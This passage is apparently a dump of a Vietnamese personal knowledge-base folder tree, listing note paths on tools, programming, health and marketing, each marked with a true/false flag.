"", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm xây dựng cộng đồng", + "Discord, Messenger và Telegram" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm xây dựng cộng đồng", + "Group Facebook" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm xây dựng cộng đồng", + "Group Zalo" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm xây dựng cộng đồng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm xây dựng cộng đồng", + "Server Discord" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Tìm công cụ phù hợp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Airtable" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Fibery" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Git", + "Git giúp ta du hành thời gian" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Git", + "Git mở ra nhiều khả thể trong việc hợp tác" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Git", + "Git, GitHub, GitKraken" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Google Drive" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Nhược điểm của Obsidian và Fibery" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Notion" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian", + "Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian", + "Các plugin trong Obsidian liên quan đến Notion" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian", + "Cách để tìm plugin đúng nhu cầu của mình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian", + "Obsidian Hub được thiết kế để không phải dùng plugin gì cũng dùng được ngay" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian", + "Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Obsidian" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Tana" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "TiddlyWiki" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Chương trình", + "Zotero" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Các loại alias" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Các loại tiêu đề và cách dùng chúng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Cách sắp xếp thư mục cho các tập tin bổ trợ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Quản lý dữ liệu cho dự án, sản phẩm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Quản lý tổ chức" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Đánh số phiên bản" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tổ chức, sắp xếp dữ liệu", + "Đánh số thư mục" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "App script" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "AutoHotKey" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "Chỉnh sửa file hàng loạt bằng PowerShell" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "Chỉnh sửa ảnh hàng loạt bằng ImageMagick" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "Chụp màn hình bằng ShareX" +] + +🚀: false +[ "", "📜Tài nguyên", "Giải pháp kỹ thuật", "Tự động hoá", "CopyQ" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Tự động hoá", + "Tạo phím tắt bằng AutoHotKey" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Web", + "Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Web", + "Google Analytics, Google Tag Manager" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Web", + "Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Web", + "Nền tảng viết trên mạng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Block", + "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Block", + "Khó có thể copy dữ liệu dạng block giữa các app khác nhau" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Cơ sở dữ liệu", + "Cơ sở dữ liệu dạng đồ thị", + "Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Cơ sở dữ liệu", + "Cơ sở dữ liệu dạng đồ thị", + "The Semantic Web is essentially a distributed-objects framework" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Cơ sở dữ liệu", + "Cơ sở dữ liệu dạng đồ thị", + "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Cơ sở dữ liệu", + "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Cơ sở dữ liệu", + "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng" +] + +🚀: true +[ "", "📜Tài nguyên", "Lĩnh vực", "Hệ thống thông tin" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Văn bản thuần", + "Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Văn bản thuần", + "Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Văn bản thuần", + "Tệp là thứ mà nhiều chương trình khác nhau đều đọc được" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hệ thống thông tin", + "Văn bản thuần", + "Văn bản thuần là dạng dữ liệu đơn giản nhất" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments" +] + +🚀: true +[ "", "📜Tài nguyên", "Lĩnh vực", "Hợp tác làm việc" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Hợp tác làm việc", "Sơ đồ kết nối" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Sự kiện là một sự thay đổi về trạng thái" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Hợp tác làm việc", + "Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Bỏ hết những thông tin thừa khi làm đồ thị" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích mạng lưới, lý thuyết đồ thị", + "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích mạng lưới, lý thuyết đồ thị", + "Concept map, knowledge graph" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích mạng lưới, lý thuyết đồ thị", + "Lý thuyết đồ thị" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "70% thời gian chỉ là để làm sạch dữ liệu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Mô hình chủ đề. Nhân văn số", + "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Mô hình chủ đề. Nhân văn số", + "Mô hình chủ đề rất hữu dụng cho việc diễn giải" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Mô hình chủ đề. Nhân văn số", + "Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Mô hình chủ đề. Nhân văn số", + "Nhân văn số sử dụng mô hình chủ đề rất nhiều" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Mô hình chủ đề. Nhân văn số", + "Nhân văn số" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Xử lý ngôn ngữ tự nhiên (NLP)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Khoa học dữ liệu", + "Phân tích xu hướng, xử lý ngôn ngữ tự nhiên", + "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Khoa học dữ liệu", "Thống kê" ] + +🚀: true +[ "", "📜Tài nguyên", "Lĩnh vực" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "4 đặc điểm của lập trình hướng vật thể" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Các ngôn ngữ tiến hoá dần để trở thành Lips" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Hoạt động trung tâm của lập trình hướng vật thể là phân loại" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Biểu thức (expression) là những thứ trả lại một giá trị nào đó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Hàm", + "Giao diện là cái khuôn của phương thức" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Hàm", + "Phương thức cho ta biết mình có thể làm gì với vật thể đó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Hàm", + "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Lớp", + "Lớp là một cái khuôn để tạo các vật thể cho nhanh" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Mô đun", + "API là giao diện của một chương trình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Mô đun", + "Giao diện" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Mô đun", + "Package và library là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "JSON là cách để biểu diễn vật thể ra chữ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Khái niệm cơ bản", + "Vật thể", + "Vật thể được tạo nên bởi những thuộc tính" +] + +🚀: true +[ "", "📜Tài nguyên", "Lĩnh vực", "Lập trình hướng vật thể" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Nguyên lý", + "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được." +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Lập trình hướng vật thể", + "Nguyên lý", + "Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Lập trình web" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Pháp luật", + "Hộ kinh doanh với cá nhân kinh doanh là một" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Pháp luật", + "Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Pháp luật", + "Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Phát triển cộng đồng" ] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Sắp chữ, thiết kế, xuất bản" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Bệnh văn phòng", + "Thoái hóa cột sống" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Sức khoẻ", "Bệnh văn phòng", "Trĩ" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Bệnh văn phòng", + "Viêm loét dạ dày" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Bệnh văn phòng", + "Đau ngực do trào ngược dạ dày" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Bàn phím" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Các chấn thương ở tay thường gặp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Ghế sofa có hại cho cột sống" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Gù lưng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Công thái học", + "Ô nhiễm tiếng ồn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Dùng điện thoại trên giường gây rối loạn giấc ngủ" +] + +🚀: false +[ "", "📜Tài nguyên", "Lĩnh vực", "Sức khoẻ", "Email làm quá tải" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Không nên dùng chai nước nhiều lần" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Những lý do để khó duy trì việc ngủ sớm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Xem điện thoại trước lúc ngủ làm khó ngủ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Sức khoẻ", + "Điện thoại làm tăng sự lo lắng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Chiến dịch là sản phẩm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Các organic branded traffic nên được xem như là direct traffic" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Các URL dài có thể là organic traffic chứ không phải direct traffic" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Một số medium cho blog là social, referral, forum, blog, chat, form" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Lĩnh vực", + "Tiếp thị số", + "Phân tích web", + "Web analytics đã thay đổi trong nhiều năm qua" +] + +🚀: true +[ "", "📜Tài nguyên", "Lĩnh vực", "Tiếp thị số" ] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công nghệ", "Delightful humane design" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Hệ thống thông tin", + "Cơ sở dữ liệu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Hệ thống thông tin", + "Truy vấn dữ liệu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Hệ thống thông tin", + "Tạo web" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Hệ thống thông tin", + "Viết plugin" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Hệ thống thông tin", + "Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên" +] + +🚀: true +[ "", "📜Tài nguyên", "Nhu cầu công nghệ" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Quản lý kiến thức", + "Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Quản lý kiến thức", + "Hệ thống quản lý kiến thức" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Quản lý kiến thức", + "Kiểm soát phiên bản (version control)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Quản lý kiến thức", + "WYSIWYM" +] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công nghệ", "Tự động", "Cào web" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Tự động", + "Nhập sự kiện vào Google Calendar" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Tự động", + "Phân loại dữ liệu tự động" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Tự động", + "Tạo liên kết UTM rút gọn nhanh chóng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Tự động", + "Tự động hoá các công việc lặp đi lặp lại" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Xác định mẫu hình", + "Chạy thống kê" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Xác định mẫu hình", + "Nhìn tổng thể kế hoạch bằng đồ thị" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Xác định mẫu hình", + "Tạo đồ thị mạng lưới" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công nghệ", + "Xác định mẫu hình", + "Xác định các chủ đề có trong ngữ liệu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Hợp tác", + "Chia sẻ kho tri thức của mình cho mọi người" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Hợp tác", + "Xây dựng mạng lưới đối tác, các bên liên quan" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Dịch", + "Kinh nghiệm tìm thuật ngữ tiếng Việt" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Dịch", + "Phương án dịch một số từ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Kinh nghiệm mua sách giấy" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Nghiên cứu cộng đồng mạng" +] + +🚀: true +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Nghiên cứu" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Phân tích dữ liệu định lượng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Phân tích dữ liệu định tính" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Quản lý kiến thức và lập luận", + "Bản đồ lập luận" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Quản lý kiến thức và lập luận", + "Khai thác một từ khoá" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Quản lý kiến thức và lập luận", + "Quản lý kiến thức cá nhân" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu 